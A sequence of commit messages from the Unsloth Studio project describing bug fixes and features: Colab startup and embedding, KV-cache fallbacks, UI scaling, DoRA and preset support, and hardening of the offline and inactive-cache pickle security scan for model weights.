Co-authored-by: Daniel Han <danielhanchen@gmail.com>
_load_model_impl contains more than one `if config.is_gguf:`, so
source.index() returned the earlier one, which belongs to a different check
than the branch the assertion is reasoning about. The inheritance call sits at
line 4543, the earlier branch at 4508 and the branch holding the load marker at
4567, so the comparison read 186995 < 185014 and failed on main.
The branch is now located from the load marker itself, which is the landmark
the rest of the test already relies on, so the assertion compares the
inheritance call against the branch that actually guards it. The slice used by
the following assertions is anchored the same way, which also tightens them:
they previously searched from the earlier branch to end of file.
The invariant is unchanged and still has teeth: moving the inheritance call
after the branch makes the assertion fail.
Co-authored-by: danielhanchen <unslothai@gmail.com>
* fix(studio/colab): survive ipykernel OutStream close() during startup
Unsloth Studio crashed at server startup on Colab with:
Unsloth Studio failed to start: 'OutStream' object has no attribute
'watch_fd_thread'
Root cause:
- Colab's ipykernel OutStream is created with watchfd=False, so it never
gains a watch_fd_thread. The OutStream.close() in the affected ipykernel
versions joins that thread unconditionally and raises AttributeError
(ipython/ipykernel#867).
- _setup_server_disk_logging() replaces sys.stdout/sys.stderr with a tee.
That changes the console object identity, so Colab's absl logging handler
(which captured the original OutStream and whose close() deliberately skips
sys.stdout/sys.stderr) no longer treats it as the live console.
- run_server builds uvicorn.Config(...), whose configure_logging runs
logging.config.dictConfig -> logging.shutdown, closing every existing
handler. The absl handler then calls close() on the orphaned OutStream and
the AttributeError propagates out of uvicorn.Config and aborts startup.
Fix:
- Before installing the tee, harden the displaced console streams' close() so
only the ipykernel#867 AttributeError is swallowed; a healthy close() runs
unchanged and any other error still propagates. The buggy close() raises
before it nulls pub_thread, so the stream stays fully usable.
- Give _TeeStream its own close() that flushes the log copy and forwards
close() to the wrapped console stream best-effort, so a handler that
captured the tee cannot crash startup either.
Add regression tests reproducing the exact path (an absl-style handler closing
a watchfd=False OutStream stand-in during logging.shutdown) and asserting the
tee/console path survives and keeps logging.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Show the Colab login password in the shareable link card
* Tighten Colab card comments for PR #7404
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make the Colab tunnel URL clickable and emphasise the password
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Narrow the console close() hardening to the watch_fd_thread AttributeError
* Put the Colab password on its own line so selection excludes the label
* Keep the Colab password as plain selectable text
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: reset quantized KV cache to f16 when flash-attn-off fallback fires
Studio force-enables --flash-attn on for GGUF launches. On a hard startup
or first-decode crash it retries via _with_flash_attn_off, which flipped FA
off but left --cache-type-k/-v untouched. A quantized KV cache (q8_0, q4_0,
q4_1, q5_0, q5_1, iq4_nl) requires flash attention in llama.cpp, so the retry
itself aborted at init with 'V cache quantization requires flash_attn' instead
of recovering.
Reset any quantized --cache-type-k/-v to f16 in the FA-off fallback path so
the retry can actually launch. Non-quantized types (f16, bf16, f32) run fine
without flash attention and are left unchanged. Handles long and short flag
forms and both space and equals syntax, rewriting in place to preserve list
length. Adds pytest coverage.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: FA-off fallback resets only the quantized V cache and drops env-only V cache
Only the V cache requires flash attention in llama.cpp; a quantized K cache
runs fine without it. Restrict the FA-off crash-recovery reset to the V axis
(main and draft) so a memory-constrained config keeps its quantized K cache
instead of risking an OOM on the recovery. Also drop an inherited quantized V
cache set purely through the environment (LLAMA_ARG_CACHE_TYPE_V /
LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_V) at the FA-off retry sites, which the argv
rewrite cannot reach, so the child falls back to the f16 default rather than
aborting.
* Studio: normalize underscore V-cache aliases in the FA-off fallback
llama.cpp rewrites '_' to '-' for any '--' long option before matching,
so a pass-through --cache_type_v q8_0 enables a quantized V cache just
like --cache-type-v. The FA-off crash-recovery reset only matched the
hyphenated spelling, so the underscore alias slipped through and the
retry still aborted with "V cache quantization requires flash_attn".
Canonicalize the flag name the same way before matching (short flags and
the type value are untouched).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(studio): honor run settings on initial model load
When loading a model from the gear-icon run-settings page, Context Length
and KV Cache Dtype were ignored if the user clicked Load before blurring
the context field, or before React flushed staged config into the store.
- Add NumericValueInput.commit() to flush a focused draft on Load
- Pass effectiveLoadConfig from model-config-page to onRun
- Prefer selection.config in performLoad for all load knobs
- Preserve meta.forceReload from the config-page reload path
Fixes#7346
* fix(studio): flush NumericValueInput draft when Load blurs first
Clicking Load blurs the context field before handleRun runs, so commit()
returned the stale value prop. Keep draft in a ref and parse it even when
the input is no longer focused.
* fix(studio): preserve Auto context when Load is clicked without edits
NumericValueInput.commit() now returns null unless the user actually
changed the field, so GGUF Load/Save no longer pins the displayed native
context into customContextLength when Auto was left untouched.
* fix(studio): clear NumericValueInput dirty state after blur commit
After a normal blur commit, reset dirtyRef so a later Load cannot replay a
stale draftRef when the user changed context via Reset or the slider.
* test(studio): pin NumericValueInput Auto/dirty contracts for #7346
Lock Codex P1/P2: commit returns null unless dirty, blur clears dirtyRef,
and handleRun only promotes a non-null committed context.
* fix(studio): keep same-click context draft after blur (#7346)
Blur can commit and clear dirtyRef before Load's onClick; stash that
committed value for one imperative commit() so typed context is not lost.
* chore: refresh PR head for #7351
* fix(studio): handle context commit edge cases
* chore: refresh PR head
* test(studio): guard invalid context drafts
* style(studio): format context draft guard
* test(studio): exercise same-click model config loads
* fix(studio): drop stale blur pin when the typed context equals the shown value
NumericValueInput cached every blur commit in lastBlurCommittedRef, even when
the draft equalled the current value and no onChange was dispatched. Because the
displayed value never changed, the useEffect([value]) clear never fired, so a
later Reset or external edit that leaves the shown value unchanged could not drop
the cache and the next commit() replayed it into an override that Reset had
removed. Only cache the blur result when it actually dispatched onChange
(final !== value); when final === value the parent is already current and there
is nothing to bridge. Add a Playwright regression that re-types the shown context
and asserts no override is stored.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: commit every same-click numeric draft before staging the load config
The run-settings Load/Reload button flushed only the GGUF Context Length draft
imperatively before building the load config. Max Seq Length (non-GGUF), GPU
Layers and MoE Layers on CPU (GGUF) are the same NumericValueInput and stage
their typed value only on blur, so editing one and clicking Load in the same
gesture staged the load from a still-stale parent config and dropped the value
the user just typed.
Wire an imperative commit handle through those inputs too and fold every
committed draft into the effective config, recomputing the non-GGUF load-time
max sequence length from the committed draft.
* fix(studio): recompute fixed-layer context pin and drop stale blur cache on every render
Two run-settings edge cases on the model-config page:
1) pinFixedLayerContext was computed from the render-time config, before a
same-click GPU Layers draft is committed in handleRun. Typing a positive
fixed-layer value on an auto-fit GGUF and clicking Reload therefore built
the runtime config with customContextLength: null, so a later fresh load
sent the native context with fixed layers (the OOM the pin exists to
avoid). Recompute the pin from the committed effectiveConfig.
2) NumericValueInput cleared its blur bridge only on a value change. A real
edit (final !== value) that Reset then reverts to the same shown number
nets value back unchanged, so the effect never re-ran and the stale pin
survived into the next Load/Save, replaying the override Reset removed.
The bridge is only valid across the single synchronous same-click gesture
that set it, so clear it on every settled render instead.
Add source-contract regressions for both.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
The gguf order fix that landed on main dropped the only assertion
covering the prerequisite that llama_extra_args inheritance runs before
the GGUF branch: the inherited value (a carried --no-mmproj) shapes the
hub guard's require_mmproj, so a future reorder could reject a load
over an mmproj download the inherited arguments would disable. The
comment also misattributed the inheritance site to
_guard_chat_load_against_training.
The assertion is restored anchored on the call form
"= _resolve_inherited_extra_args(", which pins the endpoint's call site
(the bare name would match the function definition, which always
precedes the endpoint, making the check vacuous), and the comment now
names the real inheritance site. 32 tests pass.
* Studio desktop: fix loading-toast overlap and typing lag on model load
- Toaster: on desktop, offset toasts below the ~34px custom window titlebar
(top 46 when isTauri) so they no longer cover the min/max/close controls.
Web is unchanged (top 12).
- Model load: the 2s load poll wrote loadProgress state every tick, which
re-renders the whole chat page during "Starting model" (cheap in Chrome,
janky in the desktop WebView2 -> laggy typing). That state is only read by
the dismissed-toast inline status, so gate all four poll branches to write
it only when the inline view is live; while the toast is up it updates via
Sonner alone.
* Studio desktop: fix HTML canvas preview, download, and panel offset
- CSP: add frame-src for localhost/127.0.0.1 so the desktop webview can
frame the backend-served artifact preview. default-src 'self' (no
frame-src) blocked it -> "127.0.0.1 refused to connect"; web is
same-origin so it already worked.
- Download: route the canvas Download button through the native save
dialog (downloadFile) instead of a blob-anchor click, which the Tauri
WebView2 silently drops.
- Nudge the artifact panel down 8px so its top edge/shadow isn't tucked
under the window top bar.
* Studio desktop: add HTML filter for native canvas save dialog
Canvas Download saves .html via save_native_file, but save_filter() had no
html/htm case, so the native dialog fell back to the JSON/CSV/etc filter and
could block saving/browsing the .html export. Add an HTML filter and include
html/htm in the catch-all. Addresses Codex review on #7391.
* Studio desktop: unblock canvas preview in dev shell + clear header fade
- Preview: the app CSP frame-src fix wasn't enough in the tauri dev shell.
The preview endpoint sets its own frame-ancestors response header, which
only allowed 'self' tauri://localhost http://tauri.localhost -- so the
Vite dev origin (http://localhost:5173) was blocked and the frame stayed
"refused to connect". Extend the allowlist with http://localhost:* and
http://127.0.0.1:* (the endpoint only renders postMessage'd HTML in a
no-same-origin sandbox, so it exposes no server resource).
- Shadow: the artifact panel toolbar sat under the full-width
chat-header-fade; lower the panel top (mt 80->90px) so the controls clear
the fade.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* studio recipes: full-height canvas and in-app maximize control
- Recipe editor fills its container (drop the outer padding and the fixed
75vh height); the canvas reaches the window edges
- Viewport controls: the fit button now reads as center (it always
fit/centered); add an expand-to-full-view button that collapses the
sidebar and maximizes the canvas in-app, toggling back to restore
* recipe studio: exit full view when leaving the editor tab
Addresses review: the Exit full view control lives inside the editor
canvas, which unmounts on the Easy/Runs tabs. Clear maximized (and restore
the sidebar) when activeView leaves "editor" so those views aren't left
stuck under the fixed full-view overlay.
* recipe studio: keep full view below titlebar and off the sidebar state
* Fix reasoning-only Qwen3.6 completions in Studio
* Address reasoning-only review findings
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: scale menu, toast, chat and composer icons with the UI font size
Glyphs that sit beside scaled labels now follow the preference: the
shared --icon-size token (nav, settings tabs, chat action bars, code
block actions), classed svgs inside dropdown, select, context, menubar,
popover and command surfaces, toasts, the chat thread and both
composers, and the composer pill glyph slot. Sonner toast text is
unpinned from its injected 13px. Hit targets, paddings and surface
geometry stay fixed and every value is identity at the default size.
* Studio: icons scale at half the UI font size rate; cover review gaps
Icons now follow the preference at half the rate of the text, matching
the logo lockup: base + (setting - 16) / 2. The menu specific rules
that outranked the scoped block (app-user-menu, unsloth-plus-menu,
unsloth-tick) carry the scale too, which also restores the plus menu's
intended 1.15rem glyph base at the default size. From review: closed
select triggers join the scoped surfaces so their chevron tracks the
label, sonner action button labels scale at full text rate alongside
the title and description, and the unused built-in sonner loader gets a
defensive size override.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: icons match the text scale below the default, half rate above
Piecewise icon scaling: below the 16px default icons follow the UI font
size at the full text rate, above it they move at half the rate so
glyphs stay slightly smaller than the text. Written as min(full, half)
since the smaller branch is correct on each side. Applies to the shared
--icon-size token, the scoped menu, toast, chat and composer overrides,
and the menu rules that outrank them.
* Studio: cap icons at their default size above the 16px setting
Below the default icons still match the text scale; above it they now
keep their default size instead of growing at half rate, so enlarged
text dominates and glyphs read slightly smaller than the text. The
curve is min(full rate, base).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: icons above the default scale at half rate, not capped
A 16px glyph at setting 20 renders 18px, as if the setting were 18:
above the default icons move at half the rate of the text, below it
they match the text scale. The curve is min(full rate, half rate).
* Studio: standard icons render at the UI font size itself
One shared --ui-icon-size token replaces the per-base curves for every
glyph with a 16px or larger base: icons match the UI font size below
the default and grow at half the change above it, so setting 12 gives
12px icons, 16 gives 16px and 20 gives 18px, slightly smaller than the
enlarged text. Sub 16px glyphs keep their proportions through the same
curve as a factor. This also slims the previous 18px to 21px icon bases
down to the font size at the default setting.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: icon scale review fixes for ticks, comboboxes and art glyphs
From review: thinking ticks keep their own size inside plus menus (the
important menu rule now excludes them), combobox popups and triggers
join the scoped surfaces, 24px size-6 art glyphs such as attachment
tile icons go back to proportional scaling instead of the uniform
token, branch picker 36px chevrons scale proportionally beside their
counter, and buttons that default un-classed icons to size-4 get the
shared token (xs buttons keep their pinned small icons). Sonner cancel
labels already scale: sonner renders cancel with data-button set, so
the existing override reaches it.
* Studio: keep the toast close glyph compact
The button icon fallback matched Sonner's close button, whose unclassed
12px X then rendered at the shared icon size inside its fixed control.
Exclude data-close-button from the fallback.
* Studio: use text-ui-11 for the new chat settings sheet caption
The raw px guard caught a text-[11px] added on main; raw px text
ignores the UI font size preference.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Swap the lucide CircleOff icon on the Run automatically permission mode
for the Hugeicons AI Security 03 glyph, matching the app's existing
Hugeicons usage. A small lucide-compatible wrapper lets it drop into the
option list. Icon-only change, no behavior change.
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
* feat(studio): add DoRA support to studio
* fix: added use_dora fast encoder LoraConfig and gated use_dora on AdapterMethod
* fix(studio) serverside normalization for use_dora=true - add note documenting use_dora is silently dropped on diffusion
* fix: dora button disabled on mac, add preflight guard on GGUF lora export, mismatch now correctly falls through to existing error instead of silently no-opping
* Studio: add dora to the WizardState LoRA variant union for consistency
* Reject --use_dora on the MLX (Apple Silicon) CLI path
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* feat(studio): save load settings in chat presets
Presets previously stored only sampling params (temperature, top_p, etc.).
Extend them with an optional loadConfig blob that captures context length,
KV cache dtype, speculative decoding, and GPU layer knobs from the current
runtime when saving.
- Apply loadConfig when switching presets or hydrating on startup
- Show a short summary under the preset controls
- Prompt to reload when a model is already loaded
Fixes#7347
* fix(studio): persist preset loadConfig and capture GGUF context
Add ChatPresetLoadConfig to the chat settings API schema so presets with
load settings no longer 400 on save. Capture effective GGUF context from
ggufContextLength when customContextLength is cleared after auto-mode load.
* fix(studio): address Codex review on preset load settings
Coalesce default maxSeqLength/speculative/gpu knobs when capturing presets,
no-op apply for legacy presets without loadConfig, preserve GPU pin on apply,
and stop replaying stale loadConfig during settings hydration.
* Remove unused getOrderedPresets import
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* fix(studio/colab): restore iframe embed via serve_kernel_port_as_iframe
Colab's output sanitizer often strips custom <iframe> tags from
IPython.display.HTML without raising, leaving a blank cell even though
display() succeeded. The kernel-port helper is the supported embedding
path and registers the proxy correctly.
- Prefer serve_kernel_port_as_iframe; keep raw HTML iframe as fallback
- Always show the clickable link card via show_link() so the proxy URL
is visible even when iframe embedding fails
- Add regression tests for embed ordering and URL truncation
Fixes#7344
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio/colab): harden iframe embed fallbacks per Codex review
Guard show_link so a display failure cannot skip embedding, and only use
serve_kernel_port_as_iframe when get_colab_url returned a real Colab proxy
URL so localhost/colabtools environments still get the HTML iframe path.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio/colab): stop opening Colab proxy URLs in a new tab (#7349)
Colab *.prod.colab.dev proxy hosts are session-scoped and return HTTP 404
when opened as a top-level tab or from another device. Replace the
clickable Open button for those URLs with an in-notebook ready card, keep
serve_kernel_port_as_iframe for the UI, and point users at
start(cloudflare=True) for a real shareable / new-window link.
* fix(studio/colab): use kernel iframe on real Colab when eval_js fails (#7349)
Gate serve_kernel_port_as_iframe on COLAB_RELEASE_TAG + google.colab import
instead of a successful proxyPort URL. When eval_js fails and get_colab_url
falls back to localhost, real Colab notebooks still embed via the kernel helper
(port-only). colabtools without COLAB_RELEASE_TAG keeps the HTML iframe path.
Thanks @mfielding92 for the runtime diagnosis.
* Mock top-level google package in Colab embed tests
* test(studio/colab): mock top-level google package in Colab tests
Patching only sys.modules["google.colab"] fails when no google namespace
is installed: import google.colab resolves the parent first and returns
False in _is_colab_runtime(). Add a shared helper that mocks both google
and google.colab for deterministic tests across environments.
* Tighten comments in Colab embed helpers and tests
* fix(studio/colab): default Cloudflare on Colab with durable login credentials
Colab proxy iframes often load an empty document even when the kernel helper
appends the frame, leaving users unable to reach Studio to change the bootstrap
password and blocking start(cloudflare=True).
On real Colab runtime:
- Default cloudflare to True (pass cloudflare=False to opt out)
- Finalize the random admin password and print credentials in the notebook
- Persist credentials across cell re-runs after interrupt
- Show Cloudflare link before login credentials; skip blank proxy iframe when ready
- Reuse main._IS_COLAB for runtime detection (not COLAB_RELEASE_TAG alone)
- Only trust serve_kernel_port_as_iframe on real Colab; colabtools falls back to HTML
- Keep embedding when the link card display fails
Addresses Codex review feedback on #7349 and @mfielding92's catch-22 report.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio/colab): skip credential finalize when cloudflare=False
Only call _finalize_colab_admin_password() when opening a Cloudflare
tunnel. start(cloudflare=False) should not clear the bootstrap-password
gate or show a login card that references a missing tunnel link.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio/colab): drop stale cached Colab credentials after password change
On a Colab rerun the finalize path redisplayed the cached first-run
password whenever the bootstrap gate was already cleared. If the admin
changed the password through the app, that cached copy no longer
authenticates, so the notebook printed dead credentials. Validate the
cached password against the current stored hash before redisplaying and
drop the cache when it no longer matches.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Fixes#7244
The Studio per-model config dropdown only surfaced bf16, q8_0, q5_1,
and q4_1 even though llama.cpp already accepts q4_0, q5_0, iq4_nl, and
f32. Add the missing options to KV_CACHE_DTYPES and align API field
descriptions with the backend _valid_cache_types set.
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* fix(studio): stop false MTP/vision capability reports (#7302)
MTP probing only inspected the first physical --spec-type help line and
treated empty/crash --help output as "lacks MTP", which false-warned on
otherwise capable builds. Parse the full --spec-type help block, fail open
when the probe is inconclusive, and stop blaming bare mmproj crashes on a
projector-format mismatch when the text-only retry also fails.
Fixes#7302
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): tighten MTP probe semantics per Codex review (#7302)
Treat nonempty --help without --spec-type as definitive no-MTP, keep only
empty/crash probes inconclusive, skip binary_no_mtp UI hint on inconclusive
loads, and stop reporting supports_mtp=True in /status for unknown probes.
* Treat failed llama-server --help probes as inconclusive (#7302)
Gate definitive no-MTP results on a zero exit code so crash diagnostics with
nonempty stderr do not re-enable the false lacks-MTP warning path.
* Add returncode to probe test mock so probe_ok gating passes
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fail open in /status when the MTP probe is inconclusive
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Report missing llama-server as lacking MTP in /status
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in MTP/mmproj probe changes
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Fix ROCm wheel-index test: extract the gfx-arch probe helpers get_torch_index_url now calls
get_torch_index_url gained a gfx-arch probe on the ROCm path (Strix reroute
work) and now calls _ensure_rocm_probe_env, _probe_amd_gfx_arch,
_infer_linux_amd_gfx_arch and friends. The unit test in
tests/sh/test_get_torch_index_url.sh sources a curated subset of install.sh
functions, and that list was never updated, so those helpers were undefined
in the harness. On the ROCm path the gfx probe hit an undefined function,
the branch silently fell through to the CPU wheel index, and every ROCm
assertion failed (9 failures: all ROCm versions resolved to /whl/cpu).
Extract the six missing helpers so the ROCm branch runs end to end. All 49
assertions pass. Adds a comment noting these must stay in sync with
install.sh.
* Keep the ROCm wheel-index test hermetic: redirect the /opt/rocm prefix
Extracting _ensure_rocm_probe_env pulled its absolute-path host probe into the
harness: it appends /opt/rocm/bin to PATH and runs the real host rocminfo, and
version detection reads /opt/rocm/.info/version. On a host with ROCm installed
that leaks the host GPU into the minimal-PATH test, so the no-GPU and
CUDA-visible-device assertions could select a host ROCm wheel index instead of
their expected CPU result, making the test host-dependent.
Redirect the whole /opt/rocm prefix to an empty temp dir in the same sed pass
that stubs /usr/bin/nvidia-smi, so the probes stay hermetic. All 49 assertions
pass and the generated harness contains no real /opt/rocm path.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Studio: scan HF cache snapshot loads by their repo id
Inactive Hugging Face caches (legacy, default, and previously selected
download locations) are loaded by their resolved snapshot path so they
keep using the selected cache instead of re-downloading. That path is a
local filesystem path, so evaluate_file_security exempted it with
"local path; no Hub scan" and skipped Hugging Face's pickle/malware
scan. Active caches load by repo id and are still scanned, so the same
model could dodge the gate simply by being in an inactive cache.
An HF cache snapshot keeps the canonical models--org--repo/snapshots/<rev>
layout, so recover the repo id from that path and scan it instead of
exempting it. Non-cache local paths (models directory, custom folders)
still skip the scan, and a remote ref is still scanned by repo id.
Adds a regression test that a flagged pickle in an inactive-cache
snapshot path blocks the load.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: scan the exact cached commit for inactive HF caches
An HF cache snapshot path encodes the commit, not just the repo id
(models--org--repo/snapshots/<rev>). Recover the revision alongside the
repo id and pass it to model_info and the shard-index lookup so the scan
covers the exact files that will be deserialized, rather than the repo's
default branch. Without this, a pickle in an older cached commit that was
later removed from the branch would scan clean and still load.
Extends the regression test to assert the recovered revision is forwarded
to the Hub scan.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: register text-ui tokens with tailwind-merge so cn keeps them
Stock tailwind-merge classifies text-ui-* as a text color, so cn() dropped
the size class whenever a color utility followed it in the same call. The
element then fell back to the unscaled 16px root font, which made hub tabs
and capability pills look oversized at small UI font sizes. Extend the
merge config so text-ui-* and leading-ui-* resolve as font-size and
line-height groups, and cover the failure in the contract and Playwright
regression tests.
* Studio: rename the Models page to Model hub
Page heading, sidebar navigation label in all locales, and the chat
download toasts that point at the tab.
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Roland Tannous <115670425+rolandtannous@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
Replaces the raw text-[9px] and text-[10px] classes with the text-ui-9 and text-ui-10 scale tokens so the voice tab labels honor the --ui-font-scale typography setting like the rest of the UI.
Downgrades a headless-Chromium renderer crash in the voice model-picker step to a warning plus page recovery on macos-14, where CheckMediaAccessPermission can kill the tab. Linux and Windows strict smoke jobs keep hard crash coverage and any live-page failure stays a hard fail.
Seed each request with the model's recommended sampling (matching the Chat UI), add per-field override flags, ignore oversized overrides, warn when sampling pins cannot apply to a reused server, and apply pins to the completions endpoint.
Add session-scoped MCP bridges so Codex, Claude plan mode, and Pi subagents run on the loaded local model, with cloud credentials and Codex state isolated per session and a process-wide Pi agent cap.
The slim whisper bundle is ggml-less and links the ggml runtime out of the
installed llama.cpp prebuilt, so each whisper release pins a paired llama tag.
The gate required an exact tag match, but llama fork tags are
b<upstream_build>-mix-<ggml_commit> and the build number tracks upstream llama
and fork PRs that live outside ggml. When llama republishes a newer build with
the same ggml commit (a frequent event), the installed llama advances past the
whisper pin and curated dictation goes unavailable until whisper is republished,
even though the ggml runtime is ABI-identical.
Key the pairing gate on the ggml commit after -mix- instead of the full tag, in
all three comparison sites (slim_pairing_for_artifact,
_slim_release_incompatibility, resolve_selection). requires_ggml_sonames stays
the real per-file ABI gate, and a genuine ggml skew still fails closed. Tags
without a -mix- marker fall back to exact matching.
* Studio: fail closed on index-referenced nested pickle shards in the offline embedding gate
The offline embedding security gate (HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE)
only scanned the direct files of each SentenceTransformer load root and never
parsed local weight indexes, so a cached snapshot whose pytorch_model.bin.index.json
maps a weight to a nested shard (e.g. shards/pytorch_model-00001-of-00001.bin) was
treated as inert and allowed. The loader then follows the index into the subdir and
unpickles the shard. The online gate already blocks index-referenced subdir pickles,
so the offline path was strictly weaker.
Parse each local weight index in a load root and follow weight_map into nested dirs,
flagging any referenced pickle-extension shard. Paths resolve lexically (normpath),
never Path.resolve(), since HF cache snapshot files symlink into blobs/ and resolving
would leave the snapshot dir and false-block every sharded model offline. An absolute
path, a .. traversal that escapes the snapshot, or an unreadable/invalid index fails
closed. The existing safetensors-sibling suppression is kept.
* Studio: classify offline indexed shards by torch.load path, not pickle extension
load_state_dict picks safetensors vs torch.load per shard by the shard's own
suffix, so two offline-gate gaps remained:
- A model.safetensors.index.json whose weight_map points at a .bin shard was
suppressed by has_base_safetensors (the index file itself matches the base
safetensors regex), yet Transformers still torch.loads that shard. Only the
pytorch index is superseded by a base safetensors now; a safetensors index is
the chosen archive, so its non-safetensors targets are always flagged.
- A pytorch index can map weights to arbitrary names (shards/payload,
weights.data); the loader torch.loads any target not ending in .safetensors.
Flag indexed shards by that rule instead of a pickle-extension allowlist.
Restrict the scan to the two torch-family indexes (tf/flax load via non-pickle
loaders). Add regression tests for both cases.
* Studio: match offline weight-index filenames case-insensitively
The index-name check compared the on-disk filename exactly, while the
surrounding weight and safetensors matches use case-insensitive rules. On a
case-insensitive volume (Windows or macOS) from_pretrained opens an oddly-cased
cache file such as PYTORCH_MODEL.BIN.INDEX.JSON when it requests the canonical
lowercase name, so the exact-case check skipped it and a nested pickle shard it
referenced was allowed through. Lower-case the index name before matching, as
the rest of the gate does, and add a regression test.
* Studio: match load_state_dict format/selection exactly in the offline index scan
Two edge cases in the offline weight-index scan:
- load_state_dict decides safetensors vs torch.load with a case-sensitive
endswith(".safetensors"), so a shard named payload.SAFETENSORS still
deserializes via torch.load. Classify indexed shard suffixes case-sensitively
to match, instead of lower-casing (which treated such a shard as inert).
- A complete direct model.safetensors is selected before either sharded index,
so a stale model.safetensors.index.json referencing a .bin shard never loads.
Skip both indexes when a direct model.safetensors is present, so an otherwise
loadable model is not over-blocked.
Add regression tests for both.
* Studio: read the offline weight index as UTF-8
Path.read_text() uses the locale default, which is cp1252 on Windows, so a
UTF-8 weight index with non-ASCII bytes raised UnicodeDecodeError and the gate
blocked an otherwise loadable model. JSON is UTF-8 by spec (and how the loader
reads it), so pin the encoding.
* Studio: resolve safetensors alternatives via the loader's own filename lookup
The offline gate decided a safetensors alternative existed by case-folding the
directory listing. On a case-sensitive filesystem that let an uppercase decoy
such as MODEL.SAFETENSORS suppress the pickle scan, yet from_pretrained asks for
the canonical lowercase model.safetensors, does not find the decoy, and selects
the pickle (a direct pytorch_model.bin or the pytorch index) and deserializes it.
Probe each alternative with (root / name).is_file() instead, mirroring the
loader: is_file() honors the platform's case rules, so a decoy suppresses only
where the loader would truly open it. Suppression must never fail open; detection
stays case-insensitive (fail closed). Add regression tests for the direct and
indexed pickle decoys (skipped on case-insensitive volumes, where no bypass
exists).
* Studio: resolve indexes and shards exactly as from_pretrained does
Two more loader-fidelity gaps in the offline index scan:
- Shard lookup normalized backslashes to forward slashes. On POSIX a backslash
is a literal filename character, so an index naming dir\payload.bin matches a
real pickle of that exact name that Transformers joins and deserializes, while
the normalized dir/payload.bin missed it. Join the raw weight_map value with
os.path.join so the probe mirrors the loader on each platform.
- Index detection case-folded the directory listing, so on a case-sensitive
filesystem an uppercase PYTORCH_MODEL.BIN.INDEX.JSON artifact the loader never
opens was treated as live and its shard blocked. Probe the canonical name with
the loader's own is_file lookup instead, so an index counts only where
from_pretrained would actually load it.
Update the uppercase-index tests to assert the correct per-filesystem behavior
and add a POSIX backslash-shard regression test.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* fix(install): show detected distro in sudo apt Accept prompt
Make the package-install elevation prompt name the detected distro and
state that packages come from official apt repos, so users know we are
not installing a tarball outside their package manager (#6207).
* fix(install): avoid case/;; inside $() for bash 3.2
macOS CI uses bash 3.2, which misparses case arms inside command
substitution and fails install.sh at the apt distro helper. Use a
plain subshell so the Accept? prompt still works everywhere.
* fix(studio): resolve bare git on Windows sandbox PATH
Sandboxed terminal tools rebuilt PATH as venv + System32 only, so
user-installed Git under Program Files never resolved by bare name.
Append absolute host PATH dirs after the curated prefix and inherit
PATHEXT on Windows (#7317).
